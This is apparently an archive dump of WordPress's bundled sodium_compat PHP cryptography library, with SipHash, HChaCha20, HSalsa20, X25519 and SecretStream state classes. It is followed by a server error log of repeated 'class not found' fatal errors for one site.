        # u64 v2 = 0x6c7967656e657261ULL;
        # u64 v3 = 0x7465646279746573ULL;
        $v = array(
            0x736f6d65, // 0
            0x70736575, // 1
            0x646f7261, // 2
            0x6e646f6d, // 3
            0x6c796765, // 4
            0x6e657261, // 5
            0x74656462, // 6
            0x79746573  // 7
        );
        // v0 => $v[0], $v[1]
        // v1 => $v[2], $v[3]
        // v2 => $v[4], $v[5]
        // v3 => $v[6], $v[7]

        # u64 k0 = LOAD64_LE( k );
        # u64 k1 = LOAD64_LE( k + 8 );
        $k = array(
            self::load_4(self::substr($key, 4, 4)),
            self::load_4(self::substr($key, 0, 4)),
            self::load_4(self::substr($key, 12, 4)),
            self::load_4(self::substr($key, 8, 4))
        );
        // k0 => $k[0], $k[1]
        // k1 => $k[2], $k[3]

        # b = ( ( u64 )inlen ) << 56;
        $b = array(
            $inlen << 24,
            0
        );
        // See docblock for why the 0th index gets the higher bits.

        # v3 ^= k1;
        $v[6] ^= $k[2];
        $v[7] ^= $k[3];
        # v2 ^= k0;
        $v[4] ^= $k[0];
        $v[5] ^= $k[1];
        # v1 ^= k1;
        $v[2] ^= $k[2];
        $v[3] ^= $k[3];
        # v0 ^= k0;
        $v[0] ^= $k[0];
        $v[1] ^= $k[1];

        $left = $inlen;
        # for ( ; in != end; in += 8 )
        while ($left >= 8) {
            # m = LOAD64_LE( in );
            $m = array(
                self::load_4(self::substr($in, 4, 4)),
                self::load_4(self::substr($in, 0, 4))
            );

            # v3 ^= m;
            $v[6] ^= $m[0];
            $v[7] ^= $m[1];

            # SIPROUND;
            # SIPROUND;
            $v = self::sipRound($v);
            $v = self::sipRound($v);

            # v0 ^= m;
            $v[0] ^= $m[0];
            $v[1] ^= $m[1];

            $in = self::substr($in, 8);
            $left -= 8;
        }

        # switch( left )
        #  {
        #     case 7: b |= ( ( u64 )in[ 6] )  << 48;
        #     case 6: b |= ( ( u64 )in[ 5] )  << 40;
        #     case 5: b |= ( ( u64 )in[ 4] )  << 32;
        #     case 4: b |= ( ( u64 )in[ 3] )  << 24;
        #     case 3: b |= ( ( u64 )in[ 2] )  << 16;
        #     case 2: b |= ( ( u64 )in[ 1] )  <<  8;
        #     case 1: b |= ( ( u64 )in[ 0] ); break;
        #     case 0: break;
        # }
        switch ($left) {
            case 7:
                $b[0] |= self::chrToInt($in[6]) << 16;
            case 6:
                $b[0] |= self::chrToInt($in[5]) << 8;
            case 5:
                $b[0] |= self::chrToInt($in[4]);
            case 4:
                $b[1] |= self::chrToInt($in[3]) << 24;
            case 3:
                $b[1] |= self::chrToInt($in[2]) << 16;
            case 2:
                $b[1] |= self::chrToInt($in[1]) << 8;
            case 1:
                $b[1] |= self::chrToInt($in[0]);
            case 0:
                break;
        }
        // See docblock for why the 0th index gets the higher bits.

        # v3 ^= b;
        $v[6] ^= $b[0];
        $v[7] ^= $b[1];

        # SIPROUND;
        # SIPROUND;
        $v = self::sipRound($v);
        $v = self::sipRound($v);

        # v0 ^= b;
        $v[0] ^= $b[0];
        $v[1] ^= $b[1];

        // Flip the lower 8 bits of v2 which is ($v[4], $v[5]) in our implementation
        # v2 ^= 0xff;
        $v[5] ^= 0xff;

        # SIPROUND;
        # SIPROUND;
        # SIPROUND;
        # SIPROUND;
        $v = self::sipRound($v);
        $v = self::sipRound($v);
        $v = self::sipRound($v);
        $v = self::sipRound($v);

        # b = v0 ^ v1 ^ v2 ^ v3;
        # STORE64_LE( out, b );
        return  self::store32_le($v[1] ^ $v[3] ^ $v[5] ^ $v[7]) .
            self::store32_le($v[0] ^ $v[2] ^ $v[4] ^ $v[6]);
    }
}
Core/HChaCha20.php000064400000010054152222652550007534 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_HChaCha20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_HChaCha20
 */
class ParagonIE_Sodium_Core_HChaCha20 extends ParagonIE_Sodium_Core_ChaCha20
{
    /**
     * @param string $in
     * @param string $key
     * @param string|null $c
     * @return string
     *
     * @throws SodiumException
     * @throws TypeError
     */
    public static function hChaCha20($in, $key, $c = null)
    {
        if (self::strlen($in) !== 16) {
            throw new SodiumException('Argument 1 must be 16 bytes');
        }
        if (self::strlen($key) !== 32) {
            throw new SodiumException('Argument 2 must be 32 bytes');
        }
        $ctx = array();

        if ($c === null) {
            $ctx[0] = 0x61707865;
            $ctx[1] = 0x3320646e;
            $ctx[2] = 0x79622d32;
            $ctx[3] = 0x6b206574;
        } else {
            $ctx[0] = self::load_4(self::substr($c,  0, 4));
            $ctx[1] = self::load_4(self::substr($c,  4, 4));
            $ctx[2] = self::load_4(self::substr($c,  8, 4));
            $ctx[3] = self::load_4(self::substr($c, 12, 4));
        }
        $ctx[4]  = self::load_4(self::substr($key,  0, 4));
        $ctx[5]  = self::load_4(self::substr($key,  4, 4));
        $ctx[6]  = self::load_4(self::substr($key,  8, 4));
        $ctx[7]  = self::load_4(self::substr($key, 12, 4));
        $ctx[8]  = self::load_4(self::substr($key, 16, 4));
        $ctx[9]  = self::load_4(self::substr($key, 20, 4));
        $ctx[10] = self::load_4(self::substr($key, 24, 4));
        $ctx[11] = self::load_4(self::substr($key, 28, 4));
        $ctx[12] = self::load_4(self::substr($in,   0, 4));
        $ctx[13] = self::load_4(self::substr($in,   4, 4));
        $ctx[14] = self::load_4(self::substr($in,   8, 4));
        $ctx[15] = self::load_4(self::substr($in,  12, 4));
        return self::hChaCha20Bytes($ctx);
    }

    /**
     * @param array $ctx
     * @return string
     * @throws TypeError
     */
    protected static function hChaCha20Bytes(array $ctx)
    {
        $x0  = (int) $ctx[0];
        $x1  = (int) $ctx[1];
        $x2  = (int) $ctx[2];
        $x3  = (int) $ctx[3];
        $x4  = (int) $ctx[4];
        $x5  = (int) $ctx[5];
        $x6  = (int) $ctx[6];
        $x7  = (int) $ctx[7];
        $x8  = (int) $ctx[8];
        $x9  = (int) $ctx[9];
        $x10 = (int) $ctx[10];
        $x11 = (int) $ctx[11];
        $x12 = (int) $ctx[12];
        $x13 = (int) $ctx[13];
        $x14 = (int) $ctx[14];
        $x15 = (int) $ctx[15];

        for ($i = 0; $i < 10; ++$i) {
            # QUARTERROUND( x0,  x4,  x8,  x12)
            list($x0, $x4, $x8, $x12) = self::quarterRound($x0, $x4, $x8, $x12);

            # QUARTERROUND( x1,  x5,  x9,  x13)
            list($x1, $x5, $x9, $x13) = self::quarterRound($x1, $x5, $x9, $x13);

            # QUARTERROUND( x2,  x6,  x10,  x14)
            list($x2, $x6, $x10, $x14) = self::quarterRound($x2, $x6, $x10, $x14);

            # QUARTERROUND( x3,  x7,  x11,  x15)
            list($x3, $x7, $x11, $x15) = self::quarterRound($x3, $x7, $x11, $x15);

            # QUARTERROUND( x0,  x5,  x10,  x15)
            list($x0, $x5, $x10, $x15) = self::quarterRound($x0, $x5, $x10, $x15);

            # QUARTERROUND( x1,  x6,  x11,  x12)
            list($x1, $x6, $x11, $x12) = self::quarterRound($x1, $x6, $x11, $x12);

            # QUARTERROUND( x2,  x7,  x8,  x13)
            list($x2, $x7, $x8, $x13) = self::quarterRound($x2, $x7, $x8, $x13);

            # QUARTERROUND( x3,  x4,  x9,  x14)
            list($x3, $x4, $x9, $x14) = self::quarterRound($x3, $x4, $x9, $x14);
        }

        return self::store32_le((int) ($x0  & 0xffffffff)) .
            self::store32_le((int) ($x1  & 0xffffffff)) .
            self::store32_le((int) ($x2  & 0xffffffff)) .
            self::store32_le((int) ($x3  & 0xffffffff)) .
            self::store32_le((int) ($x12 & 0xffffffff)) .
            self::store32_le((int) ($x13 & 0xffffffff)) .
            self::store32_le((int) ($x14 & 0xffffffff)) .
            self::store32_le((int) ($x15 & 0xffffffff));
    }
}
Core/SecretStream/.htaccess000064400000000000152222652550011627 0ustar00Core/SecretStream/State.php000064400000007050152222652550011636 0ustar00<?php

/**
 * Class ParagonIE_Sodium_Core_SecretStream_State
 */
class ParagonIE_Sodium_Core_SecretStream_State
{
    /** @var string $key */
    protected $key;

    /** @var int $counter */
    protected $counter;

    /** @var string $nonce */
    protected $nonce;

    /** @var string $_pad */
    protected $_pad;

    /**
     * ParagonIE_Sodium_Core_SecretStream_State constructor.
     * @param string $key
     * @param string|null $nonce
     */
    public function __construct($key, $nonce = null)
    {
        $this->key = $key;
        $this->counter = 1;
        if (is_null($nonce)) {
            $nonce = str_repeat("\0", 12);
        }
        $this->nonce = str_pad($nonce, 12, "\0", STR_PAD_RIGHT);;
        $this->_pad = str_repeat("\0", 4);
    }

    /**
     * @return self
     */
    public function counterReset()
    {
        $this->counter = 1;
        $this->_pad = str_repeat("\0", 4);
        return $this;
    }

    /**
     * @return string
     */
    public function getKey()
    {
        return $this->key;
    }

    /**
     * @return string
     */
    public function getCounter()
    {
        return ParagonIE_Sodium_Core_Util::store32_le($this->counter);
    }

    /**
     * @return string
     */
    public function getNonce()
    {
        if (!is_string($this->nonce)) {
            $this->nonce = str_repeat("\0", 12);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($this->nonce) !== 12) {
            $this->nonce = str_pad($this->nonce, 12, "\0", STR_PAD_RIGHT);
        }
        return $this->nonce;
    }

    /**
     * @return string
     */
    public function getCombinedNonce()
    {
        return $this->getCounter() .
            ParagonIE_Sodium_Core_Util::substr($this->getNonce(), 0, 8);
    }

    /**
     * @return self
     */
    public function incrementCounter()
    {
        ++$this->counter;
        return $this;
    }

    /**
     * @return bool
     */
    public function needsRekey()
    {
        return ($this->counter & 0xffff) === 0;
    }

    /**
     * @param string $newKeyAndNonce
     * @return self
     */
    public function rekey($newKeyAndNonce)
    {
        $this->key = ParagonIE_Sodium_Core_Util::substr($newKeyAndNonce, 0, 32);
        $this->nonce = str_pad(
            ParagonIE_Sodium_Core_Util::substr($newKeyAndNonce, 32),
            12,
            "\0",
            STR_PAD_RIGHT
        );
        return $this;
    }

    /**
     * @param string $str
     * @return self
     */
    public function xorNonce($str)
    {
        $this->nonce = ParagonIE_Sodium_Core_Util::xorStrings(
            $this->getNonce(),
            str_pad(
                ParagonIE_Sodium_Core_Util::substr($str, 0, 8),
                12,
                "\0",
                STR_PAD_RIGHT
            )
        );
        return $this;
    }

    /**
     * @param string $string
     * @return self
     */
    public static function fromString($string)
    {
        $state = new ParagonIE_Sodium_Core_SecretStream_State(
            ParagonIE_Sodium_Core_Util::substr($string, 0, 32)
        );
        $state->counter = ParagonIE_Sodium_Core_Util::load_4(
            ParagonIE_Sodium_Core_Util::substr($string, 32, 4)
        );
        $state->nonce = ParagonIE_Sodium_Core_Util::substr($string, 36, 12);
        $state->_pad = ParagonIE_Sodium_Core_Util::substr($string, 48, 8);
        return $state;
    }

    /**
     * @return string
     */
    public function toString()
    {
        return $this->key .
            $this->getCounter() .
            $this->nonce .
            $this->_pad;
    }
}
Core/.htaccess000064400000000000152222652550007226 0ustar00Core/HSalsa20.php000064400000007131152222652550007472 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_HSalsa20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_HSalsa20
 */
abstract class ParagonIE_Sodium_Core_HSalsa20 extends ParagonIE_Sodium_Core_Salsa20
{
    /**
     * Calculate an hsalsa20 hash of a single block
     *
     * HSalsa20 doesn't have a counter and will never be used for more than
     * one block (used to derive a subkey for xsalsa20).
     *
     * @internal You should not use this directly from another application
     *
     * @param string $in
     * @param string $k
     * @param string|null $c
     * @return string
     * @throws TypeError
     */
    public static function hsalsa20($in, $k, $c = null)
    {
        if ($c === null) {
            $x0  = 0x61707865;
            $x5  = 0x3320646e;
            $x10 = 0x79622d32;
            $x15 = 0x6b206574;
        } else {
            $x0  = self::load_4(self::substr($c, 0, 4));
            $x5  = self::load_4(self::substr($c, 4, 4));
            $x10 = self::load_4(self::substr($c, 8, 4));
            $x15 = self::load_4(self::substr($c, 12, 4));
        }
        $x1  = self::load_4(self::substr($k, 0, 4));
        $x2  = self::load_4(self::substr($k, 4, 4));
        $x3  = self::load_4(self::substr($k, 8, 4));
        $x4  = self::load_4(self::substr($k, 12, 4));
        $x11 = self::load_4(self::substr($k, 16, 4));
        $x12 = self::load_4(self::substr($k, 20, 4));
        $x13 = self::load_4(self::substr($k, 24, 4));
        $x14 = self::load_4(self::substr($k, 28, 4));
        $x6  = self::load_4(self::substr($in, 0, 4));
        $x7  = self::load_4(self::substr($in, 4, 4));
        $x8  = self::load_4(self::substr($in, 8, 4));
        $x9  = self::load_4(self::substr($in, 12, 4));

        for ($i = self::ROUNDS; $i > 0; $i -= 2) {
            $x4 ^= self::rotate($x0 + $x12, 7);
            $x8 ^= self::rotate($x4 + $x0, 9);
            $x12 ^= self::rotate($x8 + $x4, 13);
            $x0 ^= self::rotate($x12 + $x8, 18);
            $x9 ^= self::rotate($x5 + $x1, 7);
            $x13 ^= self::rotate($x9 + $x5, 9);
            $x1 ^= self::rotate($x13 + $x9, 13);
            $x5 ^= self::rotate($x1 + $x13, 18);
            $x14 ^= self::rotate($x10 + $x6, 7);
            $x2 ^= self::rotate($x14 + $x10, 9);
            $x6 ^= self::rotate($x2 + $x14, 13);
            $x10 ^= self::rotate($x6 + $x2, 18);
            $x3 ^= self::rotate($x15 + $x11, 7);
            $x7 ^= self::rotate($x3 + $x15, 9);
            $x11 ^= self::rotate($x7 + $x3, 13);
            $x15 ^= self::rotate($x11 + $x7, 18);
            $x1 ^= self::rotate($x0 + $x3, 7);
            $x2 ^= self::rotate($x1 + $x0, 9);
            $x3 ^= self::rotate($x2 + $x1, 13);
            $x0 ^= self::rotate($x3 + $x2, 18);
            $x6 ^= self::rotate($x5 + $x4, 7);
            $x7 ^= self::rotate($x6 + $x5, 9);
            $x4 ^= self::rotate($x7 + $x6, 13);
            $x5 ^= self::rotate($x4 + $x7, 18);
            $x11 ^= self::rotate($x10 + $x9, 7);
            $x8 ^= self::rotate($x11 + $x10, 9);
            $x9 ^= self::rotate($x8 + $x11, 13);
            $x10 ^= self::rotate($x9 + $x8, 18);
            $x12 ^= self::rotate($x15 + $x14, 7);
            $x13 ^= self::rotate($x12 + $x15, 9);
            $x14 ^= self::rotate($x13 + $x12, 13);
            $x15 ^= self::rotate($x14 + $x13, 18);
        }

        return self::store32_le($x0) .
            self::store32_le($x5) .
            self::store32_le($x10) .
            self::store32_le($x15) .
            self::store32_le($x6) .
            self::store32_le($x7) .
            self::store32_le($x8) .
            self::store32_le($x9);
    }
}
Core/X25519.php000064400000020335152222652550006773 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_X25519', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_X25519
 */
abstract class ParagonIE_Sodium_Core_X25519 extends ParagonIE_Sodium_Core_Curve25519
{
    /**
     * Alters the objects passed to this method in place.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $g
     * @param int $b
     * @return void
     * @psalm-suppress MixedAssignment
     */
    public static function fe_cswap(
        ParagonIE_Sodium_Core_Curve25519_Fe $f,
        ParagonIE_Sodium_Core_Curve25519_Fe $g,
        $b = 0
    ) {
        $b = -$b;
        $x0 = ($f->e0 ^ $g->e0) & $b;
        $x1 = ($f->e1 ^ $g->e1) & $b;
        $x2 = ($f->e2 ^ $g->e2) & $b;
        $x3 = ($f->e3 ^ $g->e3) & $b;
        $x4 = ($f->e4 ^ $g->e4) & $b;
        $x5 = ($f->e5 ^ $g->e5) & $b;
        $x6 = ($f->e6 ^ $g->e6) & $b;
        $x7 = ($f->e7 ^ $g->e7) & $b;
        $x8 = ($f->e8 ^ $g->e8) & $b;
        $x9 = ($f->e9 ^ $g->e9) & $b;
        $f->e0 ^= $x0;
        $f->e1 ^= $x1;
        $f->e2 ^= $x2;
        $f->e3 ^= $x3;
        $f->e4 ^= $x4;
        $f->e5 ^= $x5;
        $f->e6 ^= $x6;
        $f->e7 ^= $x7;
        $f->e8 ^= $x8;
        $f->e9 ^= $x9;
        $g->e0 ^= $x0;
        $g->e1 ^= $x1;
        $g->e2 ^= $x2;
        $g->e3 ^= $x3;
        $g->e4 ^= $x4;
        $g->e5 ^= $x5;
        $g->e6 ^= $x6;
        $g->e7 ^= $x7;
        $g->e8 ^= $x8;
        $g->e9 ^= $x9;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_mul121666(ParagonIE_Sodium_Core_Curve25519_Fe $f)
    {
        $h0 = self::mul($f->e0, 121666, 17);
        $h1 = self::mul($f->e1, 121666, 17);
        $h2 = self::mul($f->e2, 121666, 17);
        $h3 = self::mul($f->e3, 121666, 17);
        $h4 = self::mul($f->e4, 121666, 17);
        $h5 = self::mul($f->e5, 121666, 17);
        $h6 = self::mul($f->e6, 121666, 17);
        $h7 = self::mul($f->e7, 121666, 17);
        $h8 = self::mul($f->e8, 121666, 17);
        $h9 = self::mul($f->e9, 121666, 17);

        $carry9 = ($h9 + (1 << 24)) >> 25;
        $h0 += self::mul($carry9, 19, 5);
        $h9 -= $carry9 << 25;

        $carry1 = ($h1 + (1 << 24)) >> 25;
        $h2 += $carry1;
        $h1 -= $carry1 << 25;

        $carry3 = ($h3 + (1 << 24)) >> 25;
        $h4 += $carry3;
        $h3 -= $carry3 << 25;

        $carry5 = ($h5 + (1 << 24)) >> 25;
        $h6 += $carry5;
        $h5 -= $carry5 << 25;

        $carry7 = ($h7 + (1 << 24)) >> 25;
        $h8 += $carry7;
        $h7 -= $carry7 << 25;


        $carry0 = ($h0 + (1 << 25)) >> 26;
        $h1 += $carry0;
        $h0 -= $carry0 << 26;

        $carry2 = ($h2 + (1 << 25)) >> 26;
        $h3 += $carry2;
        $h2 -= $carry2 << 26;

        $carry4 = ($h4 + (1 << 25)) >> 26;
        $h5 += $carry4;
        $h4 -= $carry4 << 26;

        $carry6 = ($h6 + (1 << 25)) >> 26;
        $h7 += $carry6;
        $h6 -= $carry6 << 26;

        $carry8 = ($h8 + (1 << 25)) >> 26;
        $h9 += $carry8;
        $h8 -= $carry8 << 26;
        return new ParagonIE_Sodium_Core_Curve25519_Fe($h0, $h1, $h2, $h3, $h4, $h5, $h6, $h7, $h8, $h9);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * Inline comments preceded by # are from libsodium's ref10 code.
     *
     * @param string $n
     * @param string $p
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function crypto_scalarmult_curve25519_ref10($n, $p)
    {
        # for (i = 0;i < 32;++i) e[i] = n[i];
        $e = '' . $n;
        # e[0] &= 248;
        $e[0] = self::intToChr(
            self::chrToInt($e[0]) & 248
        );
        # e[31] &= 127;
        # e[31] |= 64;
        $e[31] = self::intToChr(
            (self::chrToInt($e[31]) & 127) | 64
        );
        # fe_frombytes(x1,p);
        $x1 = self::fe_frombytes($p);
        # fe_1(x2);
        $x2 = self::fe_1();
        # fe_0(z2);
        $z2 = self::fe_0();
        # fe_copy(x3,x1);
        $x3 = self::fe_copy($x1);
        # fe_1(z3);
        $z3 = self::fe_1();

        # swap = 0;
        /** @var int $swap */
        $swap = 0;

        # for (pos = 254;pos >= 0;--pos) {
        for ($pos = 254; $pos >= 0; --$pos) {
            # b = e[pos / 8] >> (pos & 7);
            /** @var int $b */
            $b = self::chrToInt(
                    $e[(int) floor($pos / 8)]
                ) >> ($pos & 7);
            # b &= 1;
            $b &= 1;
            # swap ^= b;
            $swap ^= $b;
            # fe_cswap(x2,x3,swap);
            self::fe_cswap($x2, $x3, $swap);
            # fe_cswap(z2,z3,swap);
            self::fe_cswap($z2, $z3, $swap);
            # swap = b;
            $swap = $b;
            # fe_sub(tmp0,x3,z3);
            $tmp0 = self::fe_sub($x3, $z3);
            # fe_sub(tmp1,x2,z2);
            $tmp1 = self::fe_sub($x2, $z2);

            # fe_add(x2,x2,z2);
            $x2 = self::fe_add($x2, $z2);

            # fe_add(z2,x3,z3);
            $z2 = self::fe_add($x3, $z3);

            # fe_mul(z3,tmp0,x2);
            $z3 = self::fe_mul($tmp0, $x2);

            # fe_mul(z2,z2,tmp1);
            $z2 = self::fe_mul($z2, $tmp1);

            # fe_sq(tmp0,tmp1);
            $tmp0 = self::fe_sq($tmp1);

            # fe_sq(tmp1,x2);
            $tmp1 = self::fe_sq($x2);

            # fe_add(x3,z3,z2);
            $x3 = self::fe_add($z3, $z2);

            # fe_sub(z2,z3,z2);
            $z2 = self::fe_sub($z3, $z2);

            # fe_mul(x2,tmp1,tmp0);
            $x2 = self::fe_mul($tmp1, $tmp0);

            # fe_sub(tmp1,tmp1,tmp0);
            $tmp1 = self::fe_sub($tmp1, $tmp0);

            # fe_sq(z2,z2);
            $z2 = self::fe_sq($z2);

            # fe_mul121666(z3,tmp1);
            $z3 = self::fe_mul121666($tmp1);

            # fe_sq(x3,x3);
            $x3 = self::fe_sq($x3);

            # fe_add(tmp0,tmp0,z3);
            $tmp0 = self::fe_add($tmp0, $z3);

            # fe_mul(z3,x1,z2);
            $z3 = self::fe_mul($x1, $z2);

            # fe_mul(z2,tmp1,tmp0);
            $z2 = self::fe_mul($tmp1, $tmp0);
        }

        # fe_cswap(x2,x3,swap);
        self::fe_cswap($x2, $x3, $swap);

        # fe_cswap(z2,z3,swap);
        self::fe_cswap($z2, $z3, $swap);

        # fe_invert(z2,z2);
        $z2 = self::fe_invert($z2);

        # fe_mul(x2,x2,z2);
        $x2 = self::fe_mul($x2, $z2);
        # fe_tobytes(q,x2);
        return self::fe_tobytes($x2);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $edwardsY
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $edwardsZ
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function edwards_to_montgomery(
        ParagonIE_Sodium_Core_Curve25519_Fe $edwardsY,
        ParagonIE_Sodium_Core_Curve25519_Fe $edwardsZ
    ) {
        $tempX = self::fe_add($edwardsZ, $edwardsY);
        $tempZ = self::fe_sub($edwardsZ, $edwardsY);
        $tempZ = self::fe_invert($tempZ);
        return self::fe_mul($tempX, $tempZ);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $n
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function crypto_scalarmult_curve25519_ref10_base($n)
    {
        # for (i = 0;i < 32;++i) e[i] = n[i];
        $e = '' . $n;

        # e[0] &= 248;
        $e[0] = self::intToChr(
            self::chrToInt($e[0]) & 248
        );

        # e[31] &= 127;
        # e[31] |= 64;
        $e[31] = self::intToChr(
            (self::chrToInt($e[31]) & 127) | 64
        );

        $A = self::ge_scalarmult_base($e);
        if (
            !($A->Y instanceof ParagonIE_Sodium_Core_Curve25519_Fe)
                ||
            !($A->Z instanceof ParagonIE_Sodium_Core_Curve25519_Fe)
        ) {
            throw new TypeError('Null points encountered');
        }
        $pk = self::edwards_to_montgomery($A->Y, $A->Z);
        return self::fe_tobytes($pk);
    }
}
Core/Poly1305/error_log000064400000051712152222652550010621 0ustar00[24-Mar-2024 12:09:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[24-Mar-2024 12:09:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[02-Sep-2024 22:15:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[02-Sep-2024 22:15:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[02-Sep-2024 22:16:30 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[02-Sep-2024 22:16:30 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[19-Sep-2024 20:21:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[10-Nov-2024 10:36:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[13-Nov-2024 09:49:35 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[16-Nov-2024 04:25:53 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[17-Nov-2024 02:11:59 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[02-Feb-2025 02:14:08 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[22-Feb-2025 06:19:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[29-Mar-2025 10:01:08 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[13-May-2025 10:01:24 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[13-May-2025 10:01:25 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[13-May-2025 10:01:26 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[13-May-2025 10:01:28 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[14-May-2025 12:00:31 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php on line 10
[14-May-2025 12:00:31 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305/State.php:10
Stack trace:
